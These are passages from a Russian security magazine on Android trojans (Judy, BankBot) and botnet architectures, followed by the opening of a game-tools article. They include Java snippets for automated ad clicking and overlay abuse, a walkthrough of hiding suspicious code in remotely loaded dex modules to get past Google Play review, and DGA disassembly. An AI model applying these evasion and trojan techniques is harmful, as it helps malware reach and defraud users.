счи тан ные на поль зовате лей школь ного воз раста. Пока ребенок играл в клон
«Веселой  фер мы»,  тро ян  самос тоятель но  кли кал  по  рек ламным  бан нерам,
зараба тывая копе ечку сво им соз дателям.

При тяга тель ная игра с пло хим содер жимым

Что бы  не  гонять  лиш ний  тра фик,  тро ян  умел  находить  ссыл ки  на  пар тнер ки
и  перехо дил  толь ко  по  ним.  Сна чала  Judy  получал  с  управля юще го  цен тра
ссыл ку  на  стра ницу  с  рек ламой,  на  которой  висели  пар тнерские  бан неры,
и заг ружал себе ее кон тент. Реали зовать это мож но, к при меру, с помощью
HttpURLConnection.

HttpURLConnection connection = null;
URL url = new URL(ccUrl);
connection = (HttpURLConnection) url.openConnection();
connection.connect();
InputStream input = connection.getInputStream();
BufferedReader br = new BufferedReader(new InputStreamReader(input));
String inputLine;
while ((inputLine = br.readLine()) != null) {output.append(inputLine
);}
...
String webPageContent = output.toString();

На заг ружен ной стра нице откры вались не все ссыл ки под ряд, а  толь ко рек‐ 
ламные. Для пар синга строк есть класс  , пол ностью пов торя ющий син‐ 
таксис регуляр ных выраже ний язы ка Perl. Понача лу это похоже на мешани ну,
а  потом  раз бира ешь ся  и  пар синг  идет  на  ура.  У  пар тнер ки  будут  какие‐то
общие приз наки — один домен, реферер и так далее. Вот такой регуляр кой
вытас кива ются все ссыл ки на под домены google.com:

Pattern

Pattern urlFinder = Pattern.compile("https://w+.google.com/w+");
Matcher matcher = urlFinder.matcher(test);
List<String> links = new ArrayList<>();
while (matcher.find()) {
   links.add(webPageContent.substring(matcher.start(), matcher.end
()));
}

Хо зяева  рек ламной  пло щад ки  не  дол жны  знать,  что  бан неры  заг ружа ются
в авто мати чес ком режиме,  зна чит, нуж но откры вать ссыл ки нас тоящим бра‐ 
узе ром. Это нес ложно, в Android есть класс WebView — пол ноцен ный бра узер
на  движ ке  Chrome.  Любопыт но,  что,  откры вая  стра ницу,  мал варь  мимик‐ 
рирова ла под пол ноцен ный компь ютер — видимо, для таких перехо дов сто‐ 
имость кли ка выше.

webView.getSettings().setUserAgentString("Mozilla/5.0 (Windows NT 6.
1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/
537.36");

БАНКОВСКАЯ ТАЙНА

Вто рой  год  в  интерне те  успешно  рас простра няет ся  тро ян  BankBot.  Соз‐ 
датели  модифи циру ют  его  раз  за  разом,  мас киру ясь  от  анти виру сов
и замани вая поль зовате лей прос тень кой игрой или под боркой юмо рис тичес‐ 
кого  кон тента.  Как  ты  уже  догадал ся,  вре донос ный  кон тент  пуб ликовал ся
в Google Play, пос ледняя вер сия BankBot была вылов лена в кон це сен тября.

Для управле ния чужим телефо ном авто ры тро яна решили не свя зывать ся
с  экс пло итом и  прос то  нас той чиво  про сят  об  этом поль зовате ля. В  дан ном
слу чае  при ложе ние  пыта ется  получить  дос туп  ко  все му,  к  чему  мож но,  —
от  чте ния  окон  до  эму ляции  нажатий.  Забав но,  что  зло умыш ленни ки  вов сю
экс плу ати руют соци аль ную инже нерию, без вся кой лож ной скром ности наз‐ 
вав свое поделие Google Service. Поль зовате ля убеж дают, что какая‐то очень
важ ная фун кция не будет работать без его вме шатель ства.

Неп равиль ный Google Service

Мы уже не раз   про вол шебную силу  .  Как  видишь,
некото рым она даже помога ет финан сово. :) Зло умыш ленни ки так же нещад‐ 
но  экс плу ати руют    сис темных  окон,  не  поз воляя  поль зовате лю
что‐либо  сде лать  в  телефо не,  в  то  вре мя  как  тро ян  уста нав лива ет  допол‐ 
нитель ные модули и меня ет нас трой ки телефо на.

пи сали AccessibilityService

воз можнос ти

WindowManager wm = (WindowManager) getSystemService(WINDOW_SERVICE);
final WindowManager.LayoutParams params =
   new WindowManager.LayoutParams(ViewGroup.LayoutParams.MATCH_
PARENT,
       ViewGroup.LayoutParams.MATCH_PARENT,
       WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
       WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
       PixelFormat.TRANSLUCENT);
wm.addView(mOverlay, params);

Лю бопыт но,  что Google  наконец‐то  отре аги рова ла  на  проб лему  и  помети ла
флаг   как уста рев ший (deprecated) — это озна чает, что
в  новых  вер сиях  API  он  будет  исклю чен  вооб ще.  Начиная  c  Android  Oreo
(это  8‐я  вер сия  ОС,  выш ла  в  августе)  вво дит ся  флаг 

 который не зак рыва ет меню и сис темные уве дом ления.

TYPE_SYSTEM_ALERT

TYPE_APPLICA‐
TION_OVERLAY,

МАСКИРОВКА ВРЕДОНОСА

Как же все‐таки вирусы попада ют в Google Market? Все же в этой ком пании
тру дят ся луч шие умы пла неты, раз работав шие мно го кру тых про дук тов... Все
доволь но прос то: чаще все го такие при ложе ния при заг рузке в этот репози‐ 
торий вооб ще не име ют вре донос ной фун кци ональ нос ти.

При ложе ние раз бива ется на нес коль ко модулей,  которые мож но под гру‐ 
жать в при ложе ние уда лен но. Мы уже об этом ког да‐то  . Пред‐ 
лагаю рас смот реть этот эффектив ный инс тру мент под робнее.

рас ска зыва ли

Ес ли ты никог да рань ше не писал свои биб лиоте ки, то знай, что дела ется
это  не  слож нее  обыч ного  про дук та.  Для  начала  соз даем  пус той  про ект  —
empty Activity. К соз данно му про екту добав ляем новый модуль (File → New →
New module). Тут есть два вари анта биб лиоте ки: Android или Java, если у тебя
будет  какой‐то  ака деми чес кий  код,  не  свя зан ный  с Android SDK. В  эту  биб‐ 
лиоте ку нуж но помес тить все, что может хоть как‐то показать ся подоз ритель‐ 
ным, этот код в Google Play не попадет.

Соз дание модуля в Android Studio

Ог раниче ний  на  код  никаких  нет,  точ кой  вхо да  в  биб лиоте ку,  впол не  воз‐ 
можно,  будет  метод  .  Пос коль ку  он  будет  рас ширять  фун кци ональ‐ 
ность, ему нуж но подать что‐то на вход, нап ример кон текст при ложе ния.

getInfo

public String getInfo(Context ctx){
   ...
   return "Data is: " + somedata;
}

На писан ный код нуж но будет соб рать в еди ный JAR‐файл. Сде лать это мож но
раз ными  спо соба ми,  про ще  все го  через  Gradle.  По  умол чанию  такая  кон‐ 
верта ция не идет, в кон фиг (файл build.gradle для соз данно го модуля) нуж но
добавить вот такие стро ки:

task makejar(type: Jar, dependsOn: 'assembleRelease') {
   from fileTree(dir: 'build/intermediates/classes/release')
}

Gradle  уме ет мно го чего, для него есть отдель ная панель спра ва в  IDE. Там
есть  мно го  вари антов  ком пиляции,  к  ним  дол жен  добавить ся  еще  вари ант
makejar, который мы толь ко что соз дали.

Ге нера ция JAR через Gradle

Те перь скон верти руем биб лиоте ку  в dex‐файл — это осо бым обра зом соб‐ 
ранный  java‐код,  под ходящий  для  исполне ния  вир туаль ной  машиной  Dalvik
и  ее  нас ледни ком  ART,  которые  отве чают  за  запуск  при ложе ний  в  Android.
Для такой кон верта ции в стан дар тном SDK есть ком пилятор dx.

/.../Android/Sdk/build‐tools/версия_Sdk/dx ‐‐dex ‐‐output="/path/
xakep.dex" "/path/xakep.jar"

Ко неч но, динами чес кая заг рузка модулей — это не изоб ретение вирусо писа‐ 
телей,  такая  схе ма  впол не  легаль на  и  исполь зует ся  пов семес тно.  Эту  воз‐ 
можность Google добави ла очень дав но,  еще в 2011  году.  Глав ная при чина
такого решения — огра ниче ние на количес тво методов, исполь зуемых в при‐ 
ложе нии, их не может быть боль ше 65 тысяч.

Кро ме того, удоб нее раз бить при ложе ние на нес коль ко сос тавля ющих —
бинар ный  файл  раз мером  в  нес коль ко  гигабай тов  совер шенно  неудоб но
рас простра нять. Ты мог заметить, что боль шинс тво игр под мобиль ные плат‐ 
формы  вык ладыва ются  в  Google  Play  толь ко  в  виде  базово го  лаун чера,
осталь ное поль зователь ска чива ет нап рямую с сер вера раз работ чиков.

Для  под груз ки  таких  модулей  соз дан  класс  .  У  него  дос‐ 
тупен толь ко конс трук тор, который всю работу и выпол няет.

DexClassLoader

new DexClassLoader(pathToDex, internalStorage, null, classLoaderInst
ance);

В качес тве аргу мен та у него пути к dex‐фай лу pathToDex и внут ренне му хра‐ 
нили щу  ,  путь  к  допол нитель ным  биб лиоте кам  (не  нуж ны)
и экзем пляр  клас са  . Но  преж де  чем под гру жать биб лиоте ку,  ее
нуж но ска чать и раз местить во внут ренней памяти, она может быть про чита на
толь ко  отту да.  Но  тут  никакой  магии  не  нуж но  —  хва тит  клас сов  AsyncTask
и  .

internalStorage
ClassLoader

HttpURLConnection
Как  ты  пом нишь,  у  биб лиоте ки  есть  вход ные  парамет ры,  которые  как‐то

надо  передать.  Для  это го  соз дает ся  мас сив,  в  котором  нуж но  обоз начить
клас сы, необ ходимые биб лиоте ке. Сам кон текст при ложе ния будет передан
чуть поз же, уже при вызове метода.

Class<?> wordClass = dexClassLoader.loadClass("xakep.com.mylibrary.
LibraryClass");
Class<?>[] args = new Class[1];
args[0] = Context.class;
Method libMethod = wordClass.getDeclaredMethod("getInfo", args);
String libMethod = (String) libMethod.invoke(wordClass.newInstance(),
this);

Тем, кто до это го с проб лемой не стал кивал ся, про исхо дящее будет малопо‐ 
нят но, и таким читате лям помогут   готово го про екта.ис ходни ки

PLAYPROTECT, ИЛИ КОСТЫЛЬ ОТ GOOGLE

При ходит  пора  как‐то  упо рядо чить  жизнь  внут ри  смар тфо на.  Анти вирус ные
вен доры дав но пыта ются зарабо тать лояль ность ауди тории — у всех круп ных
про изво дите лей появи лись мобиль ные про дук ты, да еще с широким набором
бес плат ных воз можнос тей.

Ком пания Google решила, что ей сле дует начать еще боль ше кон тро лиро‐ 
вать устрой ства поль зовате лей, и выпус тила про дукт под наз вани ем Play Pro‐
tect, который в рус ском вари анте зву чит как «Play защита». Похоже, это обыч‐ 
ный  мобиль ный  анти вирус  с  инте рес ным  лозун гом  «Спо кой ствие  у  вас
на  ладони»  (да,  лозунг  выг лядит  как  про паган да  она низ ма,  это  вооб ще
легаль но? — Прим. ред.).

Я защищен, ура!

Ус танав ливать его не нуж но, он уже встро ен в пакет Google Play Service, най ти
его мож но в меню при ложе ния Play Market. На рын ке мобиль ных анти виру сов
у  спе циалис тов Google  серь езное  пре иму щес тво — им рань ше дру гих  дос‐ 
тупны для ана лиза все при ложе ния из Google Play, и при усло вии опти миза‐ 
ции биз нес‐про цес сов вирусы они будут находить пер выми.

Как  ты  мог  заметить  из  отче тов,  тро ян  может  активно  рас простра нять ся
нес коль ко  лет  и  толь ко  затем  попасть  в  анти вирус ные  базы.  На  прак тике
это озна чает, что злов ред, осо бен но если он не заража ет все под ряд и рас‐ 
простра нен на тысяче‐двух устрой ств, в анти вирус ных базах ока жет ся очень
нес коро. Наде ять ся  на  анти вирус  как  панацею  я  бы  не  стал,  нуж но  про дол‐ 
жать дер жать голову свет лой и не искать в Google Play халявы или глу пых раз‐ 
вле чений — имен но такие люди сос тавля ют целевую ауди торию тро янов.

СТРОИМ ПРОГНОЗЫ

Как  и  ожи далось,  с  рос том  поль зовате лей  количес тво  угроз  тоже  уве личи‐ 
вает ся. Навер ное, нуж но ждать, что Google вве дет какие‐то нов шес тва в сво‐ 
ем  репози тории,  слиш ком  уж  мно го  там  мусора.  Отме чу,  что  эко сис тема
Apple  выг лядит  гораз до  луч ше — мас совых  зараже ний  нет,  украсть  дан ные
гораз до слож нее.

Есть  и  хорошие  новос ти:  в  Android‐мире  доля  ста рых  устрой ств  быс тро
пада ет,  к октябрю ОС KitKat  (4.4) и ста рее уже занима ют менее 20% рын ка.
Если кон троль над качес твом кода не ослабнет, то сле дующий год будет спо‐ 
кой ней  —  серь езные  уяз вимос ти  появ ляют ся  ред ко,  и  глав ной  проб лемой
ста новит ся челове чес кий фак тор.

Ну а наш жур нал будет все так же дер жать тебя в кур се про исхо дяще го —
естес твен но,  что бы  ты  при менял  эти  зна ния  толь ко  во  бла го.  Если  я  что‐то
упус тил или есть воп росы, обя затель но пиши. Уда чи!
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MALWARE

В мире сущес тву ют раз ные боты. Есть боты, которые бороз‐ 

дят прос торы морей или прос то сто ят на мес те — как, нап‐ 

ример,  буд дист ские  боты  (если  что,  это  такая  религи озная

пос трой ка). Но если ты чита ешь ][, то навер няка догадал ся,

что  речь  пой дет  не  про  них  и  даже  не  про  иско паемые

бабуш кины  чеботы,  а  про  авто ном но  дей ству ющие  вре‐ 

донос ные  прог раммы,  спо соб ные  выпол нять  пос тупа ющие

извне коман ды и объ еди нять ся в бот неты.

Од ним  из  пер вых  круп ней ших  бот нетов  при нято  счи тать  сеть,  соз данную

в 2004 году с помощью поч тового чер вя Beagle. Этот червь имел собс твен‐ 

ную  реали зацию  про токо ла  SMTP,  с  помощью  которой  рас сылал  себя

по  элек трон ной  поч те.  Заод но  в  нем  был  рут кит‐модуль,  который  поз волял

ему скры вать свое при сутс твие на заражен ной машине.

С  тех  пор  челове чес тво  пережи ло  мно жес тво  нашес твий  бот‐сетей  раз‐ 

лично го  калиб ра.  Ушел  в  исто рию и Rustock,  спа мив ший  с  пулемет ной  ско‐ 

ростью в 192 пись ма за минуту, и Conficker, заразив ший десять с полови ной

мил лионов машин по все му миру. Это, к сло ву, был пер вый в исто рии бот нет,

за  любые  све дения  о  соз дателях  которо го  пар ни  из  Microsoft  пред ложили

наг раду в 250 тысяч дол ларов. «Wanted, dead or alive», как пел ког да‐то ста рик

Бон Джо ви.

Как  ты  зна ешь,  в  ][  пишут не жур налис ты,  а  IT‐спе цы.   — один

из таких. Он работа ет ана лити ком в ком пании Dr.Web и при этом ухит ряет ся

пло дот ворно писать  под  псев донимом  «Вален тин  Хол могоров»,  и  не  толь ко

на тему мал вари и хакерс тва, но и доволь но популяр ную фан тасти ку. Из книг

Пав ла  на  близ кие  любому  хакеру  темы  мы  бы  тебе  посове това ли  про честь

«Бумаж ное небо» и «PRO Вирусы».

Па вел Шалин

Пер вые бот‐сети были при митив ными. Они име ли прос тую  звез дооб разную

струк туру,  в  цен тре  которой  рас полагал ся  управля ющий  сер вер  (Command

and  Control  Server,  C&C),  а  на  вер шинах  лучей  звез ды —  инфи циро ван ные

хос ты. Коман ды и кон фиги переда вались ботам по стан дар тным про токо лам,

нап ример через ста рый доб рый IRC. В этом слу чае трой под клю чал ся к опре‐ 

делен ному  каналу  и  начинал  слу шать  коман ды,  которые  ботовод  отправ лял

пря мо  в  чат.  Самое  сла бое  мес то  такой  архи тек туры  оче вид но:  дос таточ но

грох нуть  цен траль ный  сер вер,  и  сеть  ста новит ся  неуп равля емой,  а  отдать

ботам коман ду на сме ну C&C уже не получит ся.

Сле дующим  эта пом  эво люции  бот нетов  ста ло  появ ление  алго рит мов

динами чес кой  генера ции  имен  управля ющих  сер веров  — 

  (DGA).  Суть  этой  тех нологии  прос та.  Бот  содер жит  код,

который генери рует домен ные име на по спе циаль ному алго рит му. В резуль‐ 

тате получа ется домен, сос тоящий, нап ример, из опре делен ной пос ледова‐ 

тель нос ти  сим волов  латин ско го  алфа вита  и  цифр.  Их  лег ко  отли чить  —

зарегис три ровать такой домен пси хичес ки здо рово му челове ку в голову поп‐ 

росту не при дет.

DomainGenera‐
tionAlgorithm

На  этом  домене  и  под нима ется  управля ющий  сер вер.  Если  этот  сер вак

однажды  при кажет  дол го  жить,  нуж но  лишь  зарегис три ровать  сле дующий

и запус тить на нем админку. В свою оче редь, бот, не получив откли ка от C&C,

генери рует нес коль ко новых адре сов и начина ет опра шивать их по оче реди,

пока не най дет работа ющий.

Жи вучесть  бот нета  таким  обра зом  замет но  повыша ется,  да  и  ботовод

получа ет уни каль ную воз можность сбе речь пару шекелей: некото рые регис‐ 

тра торы  в  погоне  за  при былью  поз воля ют  сво им  кли ентам  регис три ровать

домены  сей час,  а  пла тить  за  это  потом.  Если  день ги  не  пос тупа ют,  домен

через какое‐то вре мя прос то отру бает ся. Исполь зуя этот лай фхак, некото рые

осо бо при жимис тые ботово ды меня ют C&C раз в пару недель, эко номя себе

копе ечку на пиво.

Не кото рые  ботово ды  парал лель но  исполь зовали  сра зу  нес коль ко

управля ющих сер веров на отдель ных доменах, раз бивая свой бот нет на под‐ 

сети.  Вот  так,  нап ример,  выг лядит  дизас сем бли рован ный  фраг мент  модуля

DGA вируса Win32.Rmnet (для генера ции домен ных имен исполь зует ся алго‐ 

ритм LCG, линей ный кон гру энтный метод).

seg074:2001A91C create_next_domain proc near            
thread_start+36 p
seg074:2001A91C
seg074:2001A91C seed            = dwordptr ‐4
seg074:2001A91C initial_seed    = dwordptr  8
seg074:2001A91C hostname        = dwordptr  0Ch
seg074:2001A91C
seg074:2001A91C                 push    ebp
seg074:2001A91D                 movebp, esp
seg074:2001A91F                 add     esp, 0FFFFFFFCh
seg074:2001A922                 push    ebx
seg074:2001A923                 push    ecx
seg074:2001A924                 push    edx
seg074:2001A925                 push    esi
seg074:2001A926                 push    edi
seg074:2001A927                 push    12              
seg074:2001A929                 push    [ebp+initial_seed] 
seg074:2001A92C                 call    rand_int_modulus
seg074:2001A931                 mov     [ebp+seed], edx
seg074:2001A934                 add     eax, 8
seg074:2001A937             movecx, eax
seg074:2001A939                 movesi, [ebp+hostname]
seg074:2001A93C
seg074:2001A93C loc_2001A93C:                           create
_next_domain+2Dj
seg074:2001A93C                 push    25              
seg074:2001A93E                 push    edx
seg074:2001A93F                 call    rand_int_modulus
seg074:2001A944                 add     al, 'a'          
seg074:2001A946                 mov     [esi], al
seg074:2001A948                 incesi
seg074:2001A949                 loop    loc_2001A93C    
seg074:2001A94B                 mov     byte ptr [esi], 
seg074:2001A94E                 push    offset tld_com
seg074:2001A953                 push    [ebp+hostname] 
seg074:2001A956                 call    j_lstrcatA
seg074:2001A95B                 xoredx, edx
seg074:2001A95D                 moveax, [ebp+initial_seed]
seg074:2001A960                 movebx, [ebp+seed]
seg074:2001A963                 mulebx
seg074:2001A965                 add     eax, edx
seg074:2001A967                 pop     edi
seg074:2001A968                 pop     esi
seg074:2001A969                 pop     edx
seg074:2001A96A                 pop     ecx
seg074:2001A96B                 pop     ebx
seg074:2001A96C                 leave
seg074:2001A96D                 retn    8
seg074:2001A96D create_next_domain end

Оче вид но, что и такой под ход име ет свою сла бую сто рону, а имен но: он поз‐ 

воля ет  .за син кхо лить домен

Sinkhole (англ. «выг ребная яма») — этим звуч ным тер мином име нует ся
методи ка перех вата управле ния бот нетом, под разуме вающая получе- 
ние пол ного кон тро ля над бот‑сетью с воз можностью не толь ко вес ти
монито ринг  и  отсле живать  сос тояние  сети,  но  и  отда вать  коман ды
ботам.

Ди зас сем бли ровав  обра зец  бота  и  изу чив  его  код,  вирус ные  ана лити ки

получа ют  в  свое  рас поряже ние  алго ритм,  которым  бот  генери рует  адре са

управля ющих  сер веров.  Зарегис три ровав  нес коль ко  таких  адре сов,  спе‐ 

циалис ты  соз дают  с  их  помощью  собс твен ные  управля ющие  сер веры  бот‐ 

нета,  спо соб ные  в  ответ  на  зап рос  вре донос ной  прог раммы  отпра вить  ей

кор рек тный отклик и успешно прой ти про вер ку на под линность.

Пос ле  это го  дос таточ но  лик видиро вать  дей ству ющие  управля ющие  цен‐ 

тры  бот‐сети  —  спо собы,  я  думаю,  более‐менее  оче вид ны  всем.  Утра тив

связь  с  коман дным  сер вером,  боты  начина ют  генери ровать  адре са  аль тер‐ 

натив ных  управля ющих  сер веров  при  помощи  уже  извес тно го  алго рит ма

DGА,  а  затем  уста нав лива ют  связь  с  «под дель ным»  управля ющим  цен тром

и  пос ле  успе ха  этой  опе рации  прек раща ют  поис ки  аль тер натив ных  коман‐ 

дных узлов. Управле ние бот нетом зах вачено.

Для  защиты  от  такого  бес пре дела  анти вирус ных  ком паний  вир мей керы

при думы вают  раз нооб разные  ухищ рения  —  нап ример,  про токо лы  обме на

дан ными  меж ду  ботом  и  C&C  ста ли  снаб жать  шиф ровани ем.  Впро чем,

подоб ные механиз мы исполь зуют ся в мал вари и без DGA. Да и вирусо писа‐ 

телям  это,  в  общем‐то,  не  помог ло:  про тив  дизас сем бле ра,  как  и  про тив

лома, нет надеж ного при ема.

По это му сле дующим эта пом раз вития бот‐сетей ста ло исполь зование тех‐ 

нологии P2P (peer‐to‐peer), или пос тро ение пирин говых одно ран говых сетей.

Такие  сети  вов се  не  исполь зуют  управля ющих  сер веров,  вмес то  это го  они

«обща ются» с дру гими инфи циро ван ными компь юте рами, переда вая коман‐ 

ды по сети от «точ ки к точ ке», по тому же прин ципу, что и тор ренты.

Пос коль ку одно ран говые сети децен тра лизо ваны, их невоз можно вывес ти

из строя, унич тожив одним мет ким уда ром управля ющий сер вер, — его поп‐ 

росту нет.

Яр ким  при мером  пирин говой  вре донос ной  сети  мож но  счи тать  бот нет

фай лового вируса Win32.Sector,  который заразил в общей слож ности более

мил лиона компь юте ров.

Под клю чен ный  к  интерне ту  компь ютер  может  не  иметь  собс твен ного

внеш него  IP‐адре са, если в сети исполь зует ся NAT (Network Address Transla‐

tion). Поэто му, заразив компь ютер, Win32.Sector про веря ет, есть ли у машины

внеш ний айпиш ник. Если есть, бот ста новит ся нодой (Node), то есть начина ет

играть  роль  мар шру тиза тора  для  дру гих  заражен ных  машин  (Bot),  не  име‐ 

ющих реаль ного внеш него IP‐адре са.

Ин фициро ван ные  компь юте ры  типа Bot  начина ют  «общать ся»  с  интерне‐ 

том  и  дру гими  заражен ными  узла ми  через  ноду.  Каж дый  инфи циро ван ный

узел  такой сети получа ет началь ный спи сок из ста  IP‐адре сов дру гих ботов,

с  которы ми  он  пыта ется  уста новить  соеди нение,  при чем  этот  спи сок  пери‐ 

оди чес ки  обновля ется.  При  подоб ной  струк туре  сети  потеря  одной  ноды

(нап ример, если вла делец компь юте ра вылечит его от вируса) ничем не гро‐ 

зит всей сис теме в целом: бот прос то под клю чит ся к дру гой ноде для получе‐ 

ния даль нейших управля ющих команд.

Ор ганиза ция одно ран говой бот‐сети на при мере Win32.Sector

Су щес тву ют и более слож ные бот неты, которые мож но отнести к сме шан ному

типу.  Нап ример,  Trojan.Dridex.49  для  свя зи  с  управля ющи ми  сер верами

исполь зует  слож ную  одно ран говую  бот‐сеть,  которая  сос тоит  из  двух  про‐ 

межу точ ных  сло ев  прок си.  Заразив  компь ютер,  Trojan.Dridex.49  может  при‐ 

нять на себя одну из трех воз можных ролей:

Bot — тро яны это го типа работа ют на компь юте рах, не име ющих внеш него

IP‐адре са. Bot уста нав лива ет связь с управля ющим сер вером через тро‐ 

янов с ролью Node;

•

Node — тро яны это го типа работа ют на компь юте рах с внеш ним IP‐адре‐ 

сом и переда ют дан ные от ботов к  тро янам с ролью AdminNode, а  так же

в обратном нап равле нии;

•

AdminNode — как ты мог догадать ся, «админ ская нода». Выс шая сту пень,

на которой экзем пля ры тро яна под держи вают связь друг с дру гом, а так же

непос редс твен но с управля ющим сер вером.

•

Та ким обра зом, цепоч ка свя зи инфи циро ван ного компь юте ра без внеш него

IP  с  управля ющим  сер вером  бот нета  выг лядит  в  общем  слу чае  сле дующим

обра зом: Bot → Node → AdminNode → дру гие AdminNode → C&C. При этом

для  обес печения  безопас ности  соеди нения  экзем пля ры  тро яна  обме нива‐ 

ются  меж ду  собой  циф ровыми  клю чами.  Струк тура  этой  сети  показа на

на иллюс тра ции.

Что бы получить  с  управля юще го  сер вера  новый перечень  IP‐адре сов ботов

с ролью Node или  кон фигура цион ных дан ных, необ ходимых для выпол нения

веб‐инжектов,  тро яны  с  ролью  Bot  переда ют  зап рос  экзем пля ру  с  ролью

Node, и тот переп равля ет его админ ской ноде. Она, в свою оче редь, может

переб расывать его дру гим AdminNode до тех пор, пока зап рос не дос тигнет

управля юще го сер вера.

Зап рошен ные  дан ные  от  управля юще го  сер вера  рядово му  боту  переда‐ 

ются в обратном иерар хичес ком поряд ке. Точ но так же дос тавля ются допол‐ 

нитель ные  фун кци ональ ные  модули  вре донос ной  прог раммы:  ноды  зап‐ 

рашива ют их у управля юще го сер вера через AdminNode, а боты получа ют их

по  зап росу  у  нод.  Такая мно гоуров невая и  запутан ная сис тема  зна читель но

зат рудня ет отсле жива ние управля ющих сер веров и перех ват информа ции.

Не кото рые  сов ремен ные  вре донос ные  прог раммы,  нап ример  отдель ные

модифи кации  бан ков ско го  тро янца  Zeus,  исполь зуют  еще  более  слож ную

и изощ ренную струк туру P2P‐бот нета с при мене нием тун нелиро вания.

Нап ример, запус тившись на целевом компь юте ре, такой тро ян может рас‐ 

шифро вать из собс твен ного кон фигура цион ного фай ла спи сок дру гих ботов

с ролью Node и попытать ся уста новить с ними соеди нение. А если наладить

связь  не  уда лось,  он  сге нери рует  перечень  доменов  по  алго рит му  DGS

и попыта ется получить акту аль ный спи сок нод отту да.

При  этом  ресур сы  таких  доменов —  это  не  управля ющие  сер веры.  Они

прос то хра нят переч ни  IP‐адре сов нод, которые и отда ют ботам по зап росу.

Связь  с  истинным  управля ющим  уста нав лива ется  через  отдель ные  ноды,

которые работа ют как тун нелиру ющий сер вер. Сам зло умыш ленник, управля‐ 

ющий  бот нетом,  тоже  переда ет  коман ды  C&C  не  нап рямую,  а  через  тун‐ 

нель — что бы луч ше замес ти сле ды.

В  пос ледние  годы  ста ли  появ лять ся  новые  схе мы  бот нетов  —  с  исполь‐ 

зовани ем Tor и облачных тех нологий. Еще в 2008 году были выяв лены тро яны,

которые получа ли коман ды с опре делен ной учет ной записи в Twitter и в спе‐ 

циаль но соз данной вирусо писа теля ми вет ке Google Groups.

Для  хра нения  ком понен тов  вре донос ных  прог рамм,  которые  могут  быть

заг ружены и уста нов лены на инфи циро ван ной машине, неред ко исполь зуют‐ 

ся  облачные  сер висы  Google  Docs  и  Google  Drive.  Нап ример,  Google  Docs

для  обме на  дан ными  с  C&C  исполь зовала  обна ружен ная  в  2012  году  вре‐ 

донос ная прог рамма‐бэк дор BackDoor.Makadoc.

Встро енное Google Docs веб‐при ложе ние Google Docs Viewer обра баты‐ 

вало все вхо дящие зап росы, как обыч ный откры тый прок си‐сер вер. При этом

такие  зап росы  не  вызыва ют  подоз рений  у  встро енно го  фай рво ла  Windows,

чем и вос поль зовались зло умыш ленни ки.

Во вре мя обра бот ки зап росов Google Docs Viewer даже не тре бовал у кли‐ 

ента  авто риза ции  в Google  Docs —  он  прос то  перенап равлял  их  на  коман‐ 

дный сер вер, что еще боль ше облегчи ло задачу кибер прес тупни кам.

Ви русо писа тели пос тоян но изоб рета ют новые методи ки управле ния бот‐ 

нетами, а вирус ные ана лити ки, в свою оче редь, неп рерыв но совер шенс тву ют

инс тру мен ты про тиво дей ствия им. Это мож но срав нить с извечной борь бой

сна ряда и бро ни, которая, как извес тно, может лишь оста новить ся на вре мя,

но не закон чится никог да.

https://ru.wikipedia.org/wiki/%D0%92%D0%B0%D0%BB%D0%B5%D0%BD%D1%82%D0%B8%D0%BD_%D0%A5%D0%BE%D0%BB%D0%BC%D0%BE%D0%B3%D0%BE%D1%80%D0%BE%D0%B2
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КОДИНГ

Иг ровой дви жок — сер дце компь ютер ной игры и цен траль‐ 
ный  инс тру мент  гей мде вело пера.  Цен траль ный,  но  не
единс твен ный — без трех мерно го гра фичес кого редак тора,
прог раммы  для  соз дания  ани миро ван ных  пер сонажей,  зву‐ 
ково го редак тора, средс тва для соз дания уров ней, средс тва
раз работ ки шриф тов и мно гого дру гого труд инди‐раз работ‐ 
чика был бы прос то невоз можен. В этой статье мы с  тобой
под берем  пол ный  ком плект  бес плат ного  либо  недоро гого
ПО,  которое при годит ся  тебе  в  нелег кой работе инди виду‐ 
аль ного раз работ чика игр. И нет, это будет не Unity 3D + Vis‐
ual Studio + Photoshop + Maya.

ИГРОВЫЕ ДВИЖКИ
В  стать ях  про  выбор  игро вого  движ ка  («

»  и  « »)  я  рас ска‐ 
зывал пре иму щес твен но о топовых про дук тах, которые у всех на слу ху: Torque
2D/3D,  Unity  3D,  Unreal  Engine  4,  CryEngine.  По  сути,  с  ними  все  понят но,
за про шед ший год мало что изме нилось, а в этой статье мы кос немся лишь
того,  что  не  вош ло  в  пре дыду щие, — рас смот рим  инте рес ные,  но  не  очень
популяр ные «модели».

Об зор  самых  популяр ных  движ ков
для  раз работ ки  игр Срав нива ем  6  луч ших  игро вых  движ ков

Ком пания  TheGameCreators  гор до  соз дает  тул зы  для  раз работ ки  игр
с  1999  года. И  при  том,  что мно гие  тул зы  дру гих  вен доров бес плат ны,  TGC
про дает свои про дук ты и оче вид но име ет про фит. На ее сче ту такие про екты,
как   (ког да‐то очень дав но я написал об этом движ ке
целый цикл ста тей),  . Сей час все эти про дук ты отда ны в сооб‐ 
щес тво откры тых исходни ков и хос тятся на GitHub. DarkGDK всег да пред став‐ 
лял собой либу для C++. В нас тоящее вре мя ком пания активно раз вива ет три
про дук та: MyWorld (для соз дания RPG), GameGuru (для соз дания 3D‐шутеров
без прог рамми рова ния) и  .

DarkBASIC, DarkGDK

FPS Creator

AppGameKit
  —  флаг ман ский  про дукт  ком пании  TGC,  уни вер саль ный  дви жок,

с  помощью  которо го  мож но  соз давать  игры  любых  жан ров  под  все  рас‐ 
простра нен ные  плат формы:  Windows,  Linux,  macOS,  Android,  iOS,
HTML5 и даже для Raspberry Pi (модуль ска чива ется отдель но). И все это еди‐ 
нож ды написан ный код! Этим сей час, прав да, уже никого не уди вишь, но все
рав но при ятно. С помощью AGK мож но соз давать не  толь ко 2D‐ и 3D‐игры,
но и обык новен ные при ложе ния.

AGK

AGK  сос тоит  из  двух  уров ней  (tiers).  Tier  1  —  это  раз работ ка  игры
с  помощью  мно гофун кци ональ ного  скрип тового  язы ка  (модифи циро ван ный
под  игры  лег кий  в  изу чении  BASIC).  Tier  2  пред став ляет  собой  фрей мворк,
под клю чаемый  к  C++.  Таким  обра зом,  AppGameKit  —  это  смесь  модер‐ 
низиро ван ных  и  улуч шенных  ста рых  про дук тов  ком пании: DarkBASIC и Dark‐
GDK в одном фла коне.

Не важ но,  какой  уро вень  будет  исполь зовать ся  для  раз работ ки,  в  обо их
